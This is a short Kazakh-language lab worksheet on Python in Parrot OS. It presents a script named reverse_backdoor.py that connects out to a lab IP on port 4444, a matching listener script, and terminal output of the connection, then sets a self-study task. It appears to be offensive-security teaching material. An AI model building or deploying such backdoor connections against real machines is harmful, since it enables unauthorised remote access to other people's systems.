

Зертханалық сабақ №15

Тақырыбы: Parrot OS жүйесіндегі Python

1) Бэкдормен жұмыс;

```
reverse_backdoor.py
1 #!/usr/bin/env python
2
3 import socket
4
5 connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
6 connection.connect(("10.0.2.16", 4444))
7
8 connection.send("\n[+] Connection established.\n")
9
10 recieved_data = connection.recv(1024)
11 print(recieved_data)
12
13 connection.close()
```

```
listener.py
#!/usr/bin/python
import socket

listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
listener.bind(("10.0.2.16", 4444))
listener.listen(0)
print("[+] Waiting for incoming connections")
listener.accept()
print("[+] Got a connection")
```

```
root@kali: ~/PycharmProjects/reverse_backdoor# python listener.py
[+] Waiting for incoming connections
[+] Got a connection
root@kali: ~/PycharmProjects/reverse_backdoor#
```

Өзіндік жұмыс

1) ӨЗІНДІК тапсырма ұйымдастырыңыз.